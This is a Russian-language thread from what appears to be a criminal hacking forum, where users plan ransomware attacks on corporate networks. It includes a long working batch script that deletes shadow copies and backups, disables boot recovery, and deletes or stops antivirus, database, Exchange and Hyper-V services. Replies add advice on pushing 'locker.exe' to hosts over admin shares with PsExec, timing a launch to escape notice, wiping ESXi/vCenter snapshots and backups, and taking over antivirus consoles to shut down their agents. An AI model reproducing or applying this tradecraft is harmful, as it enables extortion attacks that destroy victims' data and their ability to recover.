• XSS.stack #1 – первый литературный журнал от юзеров форума

[net-hacking] Вопросы по сетям

Перейти к новому Отслеживать
DrSleep сказал(а):
Стоит ли удалять бэкапы создавая таск для компов на PDC с батником (закинул в C:\WINDOWS\sysvol\sysvol\domain\scripts\sys.bat), да сделал таск.А за ним аналогичный таск для запуска другого софта.
Код: 
wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
wbadmin DELETE BACKUP -keepVersions:0
wmic SHADOWCOPY DELETE
vssadmin Delete Shadows /All /Quiet
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
vssadmin list shadows

А так же останавливать сервисы.Или это очень грубо и палевно?
Код: 
@echo off
rem Delite Service "Hyper-V"
sc delete "vmickvpexchange"
sc delete "vmicguestinterface"
sc delete "vmicshutdown"
sc delete "vmicheartbeat"
sc delete "vmicrdv"
sc delete "storflt"
sc delete "vmictimesync"
sc delete "vmicvss"
sc delete "hvdsvc"
sc delete "nvspwmi"
sc delete "wmms"

rem Delite Service "AVG"
sc delete "AvgAdminServer"
sc delete "AVG Antivirus"
sc delete "avgAdminClient"

rem Delite Service "Sofos"
sc delete "SAVService"
sc delete "SAVAdminService"
sc delete "Sophos AutoUpdate Service"
sc delete "Sophos Clean Service"
sc delete "Sophos Device Control Service"
sc delete "Sophos Endpoint Defense Service"
sc delete "Sophos File Scanner Service"
sc delete "Sophos Health Service"
sc delete "Sophos MCS Agent"
sc delete "Sophos MCS Client"
sc delete "SntpService"
sc delete "swc_service"
sc delete "swi_service"
sc delete "Sophos UI"
sc delete "swi_update"
sc delete "Sophos Web Control Service"
sc delete "Sophos System Protection Service"
sc delete "Sophos Safestore Service"
sc delete "hmpalertsvc"
sc delete "RpcEptMapper"
sc delete "Sophos Endpoint Defense Service"
sc delete "SophosFIM"
sc delete "swi_filter"

rem Delite Service "Fire_Bird"
sc delete "FirebirdGuardianDefaultInstance"
sc delete "FirebirdServerDefaultInstance"

rem Delite Service "SQL"
sc delete "MSSQLFDLauncher"
sc delete "MSSQLSERVER"
sc delete "SQLSERVERAGENT"
sc delete "SQLBrowser"
sc delete "SQLTELEMETRY"
sc delete "MsDtsServer130"
sc delete "SSISTELEMETRY130"
sc delete "SQLWriter"
sc delete "MSSQL$VEEAMSQL2012"
sc delete "SQLAgent$VEEAMSQL2012"
sc delete "MSSQL"
sc delete "SQLAgent"
sc delete "MSSQLServerADHelper100"
sc delete "MSSQLServerOLAPService"
sc delete "MsDtsServer100"
sc delete "ReportServer"
sc delete "SQLTELEMETRY$HL"
sc delete "TMBMServer"
sc delete "MSSQL$PROGID"
sc delete "MSSQL$WOLTERSKLUWER"
sc delete "SQLAgent$PROGID"
sc delete "SQLAgent$WOLTERSKLUWER"
sc delete "MSSQLFDLauncher$OPTIMA"
sc delete "MSSQL$OPTIMA"
sc delete "SQLAgent$OPTIMA"
sc delete "ReportServer$OPTIMA"
sc delete "msftesql$SQLEXPRESS"
sc delete "postgresql-x64-9.4"


rem Delite Service "AV: Webroot"
sc delete "WRSVC"

rem Delite Service "AV: ESET"
sc delete "ekrn"
sc delete "ekrnEpsw"

rem Delite Service "AV: Kaspersky"
sc delete "klim6"
sc delete "AVP18.0.0"
sc delete "KLIF"
sc delete "klpd"
sc delete "klflt"
sc delete "klbackupdisk"
sc delete "klbackupflt"
sc delete "klkbdflt"
sc delete "klmouflt"
sc delete "klhk"
sc delete "KSDE1.0.0"
sc delete "kltap"

rem Delite Service "AV: Quick Heal"
sc delete "ScSecSvc"
sc delete "Core Mail Protection"
sc delete "Core Scanning Server"
sc delete "Core Scanning ServerEx"
sc delete "Online Protection System"
sc delete "RepairService"
sc delete "Core Browsing Protection"
sc delete "Quick Update Service"

rem Delite Service "AV: McAfee"
sc delete "McAfeeFramework"
sc delete "macmnsvc"
sc delete "masvc"
sc delete "mfemms"
sc delete "mfevtp"

rem Delite Service "AV: Trend Micro"
sc delete "TmFilter"
sc delete "TMLWCSService"
sc delete "tmusa"
sc delete "TmPreFilter"
sc delete "TMSmartRelayService"
sc delete "TMiCRCScanService"
sc delete "VSApiNt"
sc delete "TmCCSF"
sc delete "tmlisten"
sc delete "TmProxy"
sc delete "ntrtscan"
sc delete "ofcservice"
sc delete "TmPfw"
sc delete "PccNTUpd"

rem Delite Service "AV: Panda"
sc delete "PandaAetherAgent"
sc delete "PSUAService"
sc delete "NanoServiceMain"

rem Delite Service "AV: Panda"
sc delete "EPIntegrationService"
sc delete "EPProtectedService"
sc delete "EPRedline"
sc delete "EPSecurityService"
sc delete "EPUpdateService"

rem Kill
sc delete "UniFi"

rem Kill "AV: Trend Micro"
taskkill -f -im PccNTMon.exe
taskkill -f -im NTRtScan.exe
taskkill -f -im TmListen.exe
taskkill -f -im TmCCSF.exe
taskkill -f -im TmProxy.exe
taskkill -f -im TMBMSRV.exe
taskkill -f -im TMBMSRV.exe
taskkill -f -im TmPfw.exe
taskkill -f -im CNTAoSMgr.exe


rem Kill "SQL"
taskkill -f -im sqlbrowser.exe
taskkill -f -im sqlwriter.exe
taskkill -f -im sqlservr.exe
taskkill -f -im msmdsrv.exe
taskkill -f -im MsDtsSrvr.exe
taskkill -f -im sqlceip.exe
taskkill -f -im fdlauncher.exe
taskkill -f -im Ssms.exe
taskkill -f -im SQLAGENT.EXE
taskkill -f -im fdhost.exe
taskkill -f -im fdlauncher.exe
taskkill -f -im sqlservr.exe
taskkill -f -im ReportingServicesService.exe
taskkill -f -im msftesql.exe
taskkill -f -im pg_ctl.exe
taskkill -f -im postgres.exe

net stop MSSQLServerADHelper100
net stop MSSQL$ISARS
net stop MSSQL$MSFW
net stop SQLAgent$ISARS
net stop SQLAgent$MSFW
net stop SQLBrowser
net stop ReportServer$ISARS
net stop SQLWriter
net stop WinDefend
net stop mr2kserv
net stop MSExchangeADTopology
net stop MSExchangeFBA
net stop MSExchangeIS
net stop MSExchangeSA
net stop ShadowProtectSvc
net stop SPAdminV4
net stop SPTimerV4
net stop SPTraceV4
net stop SPUserCodeV4
net stop SPWriterV4
net stop SPSearch4
net stop MSSQLServerADHelper100
net stop IISADMIN
net stop firebirdguardiandefaultinstance
net stop ibmiasrw
net stop QBCFMonitorService
net stop QBVSS
net stop QBPOSDBServiceV12
net stop "IBM Domino Server (CProgramFilesIBMDominodata)"
net stop "IBM Domino Diagnostics (CProgramFilesIBMDomino)"
net stop IISADMIN
net stop "Simply Accounting Database Connection Manager"
net stop QuickBooksDB1
net stop QuickBooksDB2
net stop QuickBooksDB3
net stop QuickBooksDB4
net stop QuickBooksDB5


rem Kill
taskkill -f -im UniFi.exe


Echo TIME TO FIND AV

tasklist /fi "imagename eq MsMpEng.exe" | find /c "PID" && Echo Windows Defender
tasklist /fi "imagename eq ntrtscan.exe" | find /c "PID" && Echo Trend Micro Security
tasklist /fi "imagename eq avp.exe" | find /c "PID" && Echo Kaspersky Endpoint Security
tasklist /fi "imagename eq WRSA.exe" | find /c "PID" && Echo Webroot
tasklist /fi "imagename eq egui.exe" | find /c "PID" && Echo ESET
tasklist /fi "imagename eq AvastUI.exe" | find /c "PID" && Echo Avast


TASKKILL /F /FI "PID ge 1000" /FI "WINDOWTITLE ne untitle*"
Останавливать и удалять сервисы опасно, особенно таким большим списком. Отлететь может все что угодно, и как правило это все происходит в самый неподходящий момент.
Банальный пример: запускаешь скрипт, а там команда на отключение hyper-v. Вещь полезная, не надо в ручную класть процессы, которые могут не дать с виртуалкой поработать.
Но тут случается так что к примеру в списке виртуалок есть какой-нибудь pfsense например. И отлетит твоя сеть даже пикнуть не успеешь) и с таким большим списком сервисов надо быть прям сильно уверенным что ничего лишнего ты там не погасишь.
 
DrSleep сказал(а):
Стоит ли удалять бэкапы создавая таск для компов на PDC с батником (закинул в C:\WINDOWS\sysvol\sysvol\domain\scripts\sys.bat), да сделал таск.А за ним аналогичный таск для запуска другого софта.
Код: 
wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
wbadmin DELETE BACKUP -keepVersions:0
wmic SHADOWCOPY DELETE
vssadmin Delete Shadows /All /Quiet
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
vssadmin list shadows

А так же останавливать сервисы.Или это очень грубо и палевно?
Код: 
@echo off
rem Delite Service "Hyper-V"
sc delete "vmickvpexchange"
sc delete "vmicguestinterface"
sc delete "vmicshutdown"
sc delete "vmicheartbeat"
sc delete "vmicrdv"
sc delete "storflt"
sc delete "vmictimesync"
sc delete "vmicvss"
sc delete "hvdsvc"
sc delete "nvspwmi"
sc delete "wmms"

rem Delite Service "AVG"
sc delete "AvgAdminServer"
sc delete "AVG Antivirus"
sc delete "avgAdminClient"

rem Delite Service "Sofos"
sc delete "SAVService"
sc delete "SAVAdminService"
sc delete "Sophos AutoUpdate Service"
sc delete "Sophos Clean Service"
sc delete "Sophos Device Control Service"
sc delete "Sophos Endpoint Defense Service"
sc delete "Sophos File Scanner Service"
sc delete "Sophos Health Service"
sc delete "Sophos MCS Agent"
sc delete "Sophos MCS Client"
sc delete "SntpService"
sc delete "swc_service"
sc delete "swi_service"
sc delete "Sophos UI"
sc delete "swi_update"
sc delete "Sophos Web Control Service"
sc delete "Sophos System Protection Service"
sc delete "Sophos Safestore Service"
sc delete "hmpalertsvc"
sc delete "RpcEptMapper"
sc delete "Sophos Endpoint Defense Service"
sc delete "SophosFIM"
sc delete "swi_filter"

rem Delite Service "Fire_Bird"
sc delete "FirebirdGuardianDefaultInstance"
sc delete "FirebirdServerDefaultInstance"

rem Delite Service "SQL"
sc delete "MSSQLFDLauncher"
sc delete "MSSQLSERVER"
sc delete "SQLSERVERAGENT"
sc delete "SQLBrowser"
sc delete "SQLTELEMETRY"
sc delete "MsDtsServer130"
sc delete "SSISTELEMETRY130"
sc delete "SQLWriter"
sc delete "MSSQL$VEEAMSQL2012"
sc delete "SQLAgent$VEEAMSQL2012"
sc delete "MSSQL"
sc delete "SQLAgent"
sc delete "MSSQLServerADHelper100"
sc delete "MSSQLServerOLAPService"
sc delete "MsDtsServer100"
sc delete "ReportServer"
sc delete "SQLTELEMETRY$HL"
sc delete "TMBMServer"
sc delete "MSSQL$PROGID"
sc delete "MSSQL$WOLTERSKLUWER"
sc delete "SQLAgent$PROGID"
sc delete "SQLAgent$WOLTERSKLUWER"
sc delete "MSSQLFDLauncher$OPTIMA"
sc delete "MSSQL$OPTIMA"
sc delete "SQLAgent$OPTIMA"
sc delete "ReportServer$OPTIMA"
sc delete "msftesql$SQLEXPRESS"
sc delete "postgresql-x64-9.4"


rem Delite Service "AV: Webroot"
sc delete "WRSVC"

rem Delite Service "AV: ESET"
sc delete "ekrn"
sc delete "ekrnEpsw"

rem Delite Service "AV: Kaspersky"
sc delete "klim6"
sc delete "AVP18.0.0"
sc delete "KLIF"
sc delete "klpd"
sc delete "klflt"
sc delete "klbackupdisk"
sc delete "klbackupflt"
sc delete "klkbdflt"
sc delete "klmouflt"
sc delete "klhk"
sc delete "KSDE1.0.0"
sc delete "kltap"

rem Delite Service "AV: Quick Heal"
sc delete "ScSecSvc"
sc delete "Core Mail Protection"
sc delete "Core Scanning Server"
sc delete "Core Scanning ServerEx"
sc delete "Online Protection System"
sc delete "RepairService"
sc delete "Core Browsing Protection"
sc delete "Quick Update Service"

rem Delite Service "AV: McAfee"
sc delete "McAfeeFramework"
sc delete "macmnsvc"
sc delete "masvc"
sc delete "mfemms"
sc delete "mfevtp"

rem Delite Service "AV: Trend Micro"
sc delete "TmFilter"
sc delete "TMLWCSService"
sc delete "tmusa"
sc delete "TmPreFilter"
sc delete "TMSmartRelayService"
sc delete "TMiCRCScanService"
sc delete "VSApiNt"
sc delete "TmCCSF"
sc delete "tmlisten"
sc delete "TmProxy"
sc delete "ntrtscan"
sc delete "ofcservice"
sc delete "TmPfw"
sc delete "PccNTUpd"

rem Delite Service "AV: Panda"
sc delete "PandaAetherAgent"
sc delete "PSUAService"
sc delete "NanoServiceMain"

rem Delite Service "AV: Panda"
sc delete "EPIntegrationService"
sc delete "EPProtectedService"
sc delete "EPRedline"
sc delete "EPSecurityService"
sc delete "EPUpdateService"

rem Kill
sc delete "UniFi"

rem Kill "AV: Trend Micro"
taskkill -f -im PccNTMon.exe
taskkill -f -im NTRtScan.exe
taskkill -f -im TmListen.exe
taskkill -f -im TmCCSF.exe
taskkill -f -im TmProxy.exe
taskkill -f -im TMBMSRV.exe
taskkill -f -im TMBMSRV.exe
taskkill -f -im TmPfw.exe
taskkill -f -im CNTAoSMgr.exe


rem Kill "SQL"
taskkill -f -im sqlbrowser.exe
taskkill -f -im sqlwriter.exe
taskkill -f -im sqlservr.exe
taskkill -f -im msmdsrv.exe
taskkill -f -im MsDtsSrvr.exe
taskkill -f -im sqlceip.exe
taskkill -f -im fdlauncher.exe
taskkill -f -im Ssms.exe
taskkill -f -im SQLAGENT.EXE
taskkill -f -im fdhost.exe
taskkill -f -im fdlauncher.exe
taskkill -f -im sqlservr.exe
taskkill -f -im ReportingServicesService.exe
taskkill -f -im msftesql.exe
taskkill -f -im pg_ctl.exe
taskkill -f -im postgres.exe

net stop MSSQLServerADHelper100
net stop MSSQL$ISARS
net stop MSSQL$MSFW
net stop SQLAgent$ISARS
net stop SQLAgent$MSFW
net stop SQLBrowser
net stop ReportServer$ISARS
net stop SQLWriter
net stop WinDefend
net stop mr2kserv
net stop MSExchangeADTopology
net stop MSExchangeFBA
net stop MSExchangeIS
net stop MSExchangeSA
net stop ShadowProtectSvc
net stop SPAdminV4
net stop SPTimerV4
net stop SPTraceV4
net stop SPUserCodeV4
net stop SPWriterV4
net stop SPSearch4
net stop MSSQLServerADHelper100
net stop IISADMIN
net stop firebirdguardiandefaultinstance
net stop ibmiasrw
net stop QBCFMonitorService
net stop QBVSS
net stop QBPOSDBServiceV12
net stop "IBM Domino Server (CProgramFilesIBMDominodata)"
net stop "IBM Domino Diagnostics (CProgramFilesIBMDomino)"
net stop IISADMIN
net stop "Simply Accounting Database Connection Manager"
net stop QuickBooksDB1
net stop QuickBooksDB2
net stop QuickBooksDB3
net stop QuickBooksDB4
net stop QuickBooksDB5


rem Kill
taskkill -f -im UniFi.exe


Echo TIME TO FIND AV

tasklist /fi "imagename eq MsMpEng.exe" | find /c "PID" && Echo Windows Defender
tasklist /fi "imagename eq ntrtscan.exe" | find /c "PID" && Echo Trend Micro Security
tasklist /fi "imagename eq avp.exe" | find /c "PID" && Echo Kaspersky Endpoint Security
tasklist /fi "imagename eq WRSA.exe" | find /c "PID" && Echo Webroot
tasklist /fi "imagename eq egui.exe" | find /c "PID" && Echo ESET
tasklist /fi "imagename eq AvastUI.exe" | find /c "PID" && Echo Avast


TASKKILL /F /FI "PID ge 1000" /FI "WINDOWTITLE ne untitle*"
я пробовал как то каспера так отключать, ну он не гаситься, от админа был

rem Delite Service "AV: Kaspersky"
sc delete "klim6"
sc delete "AVP18.0.0"
sc delete "KLIF"
sc delete "klpd"
sc delete "klflt"
sc delete "klbackupdisk"
sc delete "klbackupflt"
sc delete "klkbdflt"
sc delete "klmouflt"
sc delete "klhk"
sc delete "KSDE1.0.0"
sc delete "kltap"
 
Chairman сказал(а):
я пробовал как то каспера так отключать, ну он не гаситься, от админа был

rem Delite Service "AV: Kaspersky"
sc delete "klim6"
sc delete "AVP18.0.0"
sc delete "KLIF"
sc delete "klpd"
sc delete "klflt"
sc delete "klbackupdisk"
sc delete "klbackupflt"
sc delete "klkbdflt"
sc delete "klmouflt"
sc delete "klhk"
sc delete "KSDE1.0.0"
sc delete "kltap"
Аналогично через SC пробовал WinDefend , получал ошибку что не может быть остановлен, на паузу и еще что-то.Хотя от ДА было дело.
 
DrSleep сказал(а):
Аналогично через SC пробовал WinDefend , получал ошибку что не может быть остановлен, на паузу и еще что-то.Хотя от ДА было дело.
я от системы пробовал и его не стопало, тока ребут ОС поможет, потом он норм отрубается
 
IIIIXX сказал(а):
Код: 
- Run only when the user is logged on - Optional.
то есть оно сработает когда юзер залогинится, а если тачка включена но нет залогиненых пользователей, задание не включится, я так понимаю
 
tuda сказал(а):
то есть оно сработает когда юзер залогинится, а если тачка включена но нет залогиненых пользователей, задание не включится, я так понимаю
там дальше optional - ты сам выбираешь, выбирать эту опцию или нет
 
IIIIXX сказал(а):
там дальше optional - ты сам выбираешь, выбирать эту опцию или нет
Мб по АВ/Бэкапам пару лайфхаков/советов/намеков подкинешь.Ну оочень интересно )
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Может тут кто подсказать по каким портам надо сканить iDRAC и тейпы в сетях чтобы определить
 
One_Moment сказал(а):
Может тут кто подсказать по каким портам надо сканить iDRAC и тейпы в сетях чтобы определить
iDRAC
Код: 
22 SSH
23 Telnet
80 HTTP
165 SupportAssist
443 HTTPS   - в принципе все что тебе нужно
623 RMCP/RMCP+
5900 Virtual Console key
о тейпах поконкретнее?
 
1)В чем плюсы и минусы запуска софта с параметром --safeboot Reboot in Safe Mode before running on Windows
2)Какой способ эффективнее-GPO или PsExec ?
3)Запускать лучьше в рабочее время, чтобы кол-во компов онлайн было максимально ?
Спасибо...
 
Допустим в сетке 200 компов.
Наступила ночь, пора делать дело.Но так как время не рабочее кол-во компов уменьшится, пусть до 70.
Если запустить ночью, то запустится на сервах и на паре десятков рабочих станций,все дело спалится, админ забьет тревогу и начнет искать причину.По итогу 130 компов будут не отработаны.
Ну если запустить прям с часов 9-10 по местному рабочему времени, вероятность что будет накрыта вся сеть повышается.Но и спалиться пока делаешь GPO и удаляешь АВ/Бэкапы повышается.

Как эффективней, подскажите.Спасибо.
 
404_Team сказал(а):
Допустим в сетке 200 компов.
Наступила ночь, пора делать дело.Но так как время не рабочее кол-во компов уменьшится, пусть до 70.
Если запустить ночью, то запустится на сервах и на паре десятков рабочих станций,все дело спалится, админ забьет тревогу и начнет искать причину.По итогу 130 компов будут не отработаны.
Ну если запустить прям с часов 9-10 по местному рабочему времени, вероятность что будет накрыта вся сеть повышается.Но и спалиться пока делаешь GPO и удаляешь АВ/Бэкапы повышается.

Как эффективней, подскажите.Спасибо.
Во первых, открой для себя такое понятие как виртуализация. Ты так говоришь, будто бы все хосты в сети являются физическими, наоборот таки нет, в большинстве случаев за редким исключением процентов 90 хостов - виртуальны. Лочить надо поверх виртуализации, представь, что в сетке 2к компов, будешь на каждом по очереди запускать локер и ждать пока оно дошифрует? Тебя админ спалит за это время и выбросит из сети))
К тому же, в случае с ESXI/VCenter, там могут быть снэпшоты, даже если ты удалишь бекапы, администраторы просто откатят виртуальные машины в предыдущее состояние.

Во вторых, GPO работает медленно. Оно по определенному интервалу обновляется на хостах. Раскидай по сетевым шарам:

copy locker.exe \\192.168.1.2\C$\ProgramData\1.exe

И запусти PSexecom на каждом из хостов. Можешь на питоне написать небольшую тулзу для генерации батника, который будет генерироваться из списка хостов в твоей сети.
 
Alan Wake сказал(а):
Во первых, открой для себя такое понятие как виртуализация. Ты так говоришь, будто бы все хосты в сети являются физическими, наоборот таки нет, в большинстве случаев за редким исключением процентов 90 хостов - виртуальны. Лочить надо поверх виртуализации, представь, что в сетке 2к компов, будешь на каждом по очереди запускать локер и ждать пока оно дошифрует? Тебя админ спалит за это время и выбросит из сети))
К тому же, в случае с ESXI/VCenter, там могут быть снэпшоты, даже если ты удалишь бекапы, администраторы просто откатят виртуальные машины в предыдущее состояние.

Во вторых, GPO работает медленно. Оно по определенному интервалу обновляется на хостах. Раскидай по сетевым шарам:



И запусти PSexecom на каждом из хостов. Можешь на питоне написать небольшую тулзу для генерации батника, который будет генерироваться из списка хостов в твоей сети.
Пока учусь на мелких сетях.Там компов от 50-300 в среднем.По хостам недогоняю-есть мошьный серв, на нем стоит ESXI/VCenter(это как virtualbox/vmware) только для овермного виртуалок за раз в работе + настройка сети разнообразная.Допустим есть 200 хостов, 150 виртуалок.Как юзеры работают на них?)На них запущены rdp/vnc/teamviewer/ammy админ и тд, и юзеры из дома чтоли конектятся к этим виртуалкам и работают с них?Вопрос нубский конечно, но реально недогоняю.
P.S. и искать ESXI/VCenter по 443 порту, ищем рут пароль от веба,а дальше что ?Если есть бэкапы виртуалок удаляем их, и бахаем?
P.S.S. Чисто по человечески спасибо за ответы, ваша минута времени сэкономит мне очень много времени и нервов.Опыт очень важная вешь)
 
404_Team сказал(а):
Пока учусь на мелких сетях.Там компов от 50-300 в среднем.По хостам недогоняю-есть мошьный серв, на нем стоит ESXI/VCenter(это как virtualbox/vmware) только для овермного виртуалок за раз в работе + настройка сети разнообразная.Допустим есть 200 хостов, 150 виртуалок.Как юзеры работают на них?)На них запущены rdp/vnc/teamviewer/ammy админ и тд, и юзеры из дома чтоли конектятся к этим виртуалкам и работают с них?Вопрос нубский конечно, но реально недогоняю.
P.S. и искать ESXI/VCenter по 443 порту, ищем рут пароль от веба,а дальше что ?Если есть бэкапы виртуалок удаляем их, и бахаем?
P.S.S. Чисто по человечески спасибо за ответы, ваша минута времени сэкономит мне очень много времени и нервов.Опыт очень важная вешь)
Обычно используется либо корпоративный ВПН (Fortinet, sonicwall, и тд), либо удалённый рабочий стол (Citrix, Parallels и тд), после того, как после подключения к ВПН есть доступ к локалке с AD, юзеры логинятся по рдп, либо по другому. С удаленным рабочим столом, думаю всё очевидно.
Вцентр обычно висит на 9443 порту, логинишься в него, затираешь бекапы в сети, затираешь снэпшоты (или пусть твой локер их зашифрует, если он не пропускает файлы снепшотов), вводишь ESXI в домен/ресетишь рут пасс, делаешь свои дела. Частенько бывает, что надо настроить DNS на есике (ESXI) перед вводом домен, иначе ввести не даст.
 
По отключению АВ/удалению бэкапов вижу пока такие варианты
1)Определение АВ/Бэкапов
Запускаем PSexe bat/exe с содержанием примерно(код вымышленный)

Код: 
#backups check
if exist{
    G:\arcserver\jobeng.exe
write log IP:BACKUPSOFT
}
if exist{
    C:\Program Files\Symantec\Backup Exec\RAWS\beremote.exe
write log IP:BACKUPSOFT
}
#AV check
{
    C:\Program Files\ESET\RemoteAdministrator\Agent\ERAAgent.exe
write log IP:AV
}

Смотрим где какие бэкапы/ав крутятся

2)Удаление АВ/Бэкапов
Тут хз, по АВ можно сделать так же запуск bat/exe с коммандой на удаление процесса, или деинсталяцию АВ в скрытом режиме если такая возможность имеется
По бэкапам в зависимости от софта делать поиск файлов бэкапов, допустим удалять все файлы с расширением .bak

3)После этого делать запуск софта.

Или в большинстве случаев есть единая панель админская для бэкапов/ав откуда можно и ав отрубить и бэкапы стереть...
 
404_Team сказал(а):
По отключению АВ/удалению бэкапов вижу пока такие варианты
1)Определение АВ/Бэкапов
Запускаем PSexe bat/exe с содержанием примерно(код вымышленный)

Код: 
#backups check
if exist{
    G:\arcserver\jobeng.exe
write log IP:BACKUPSOFT
}
if exist{
    C:\Program Files\Symantec\Backup Exec\RAWS\beremote.exe
write log IP:BACKUPSOFT
}
#AV check
{
    C:\Program Files\ESET\RemoteAdministrator\Agent\ERAAgent.exe
write log IP:AV
}

Смотрим где какие бэкапы/ав крутятся

2)Удаление АВ/Бэкапов
Тут хз, по АВ можно сделать так же запуск bat/exe с коммандой на удаление процесса, или деинсталяцию АВ в скрытом режиме если такая возможность имеется
По бэкапам в зависимости от софта делать поиск файлов бэкапов, допустим удалять все файлы с расширением .bak

3)После этого делать запуск софта.

Или в большинстве случаев есть единая панель админская для бэкапов/ав откуда можно и ав отрубить и бэкапы стереть...
Правильно в конце подметил, очень часто в корпоратах панели стоят и для бекапов и антивирусные. И если у антивируса стоит панель где-то на админском компе, намного проще получить доступ к панели и от туда глушить агентов. С помощью некоторых панелей антивирусных даже сеть в отработку запускали)
 
admin


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх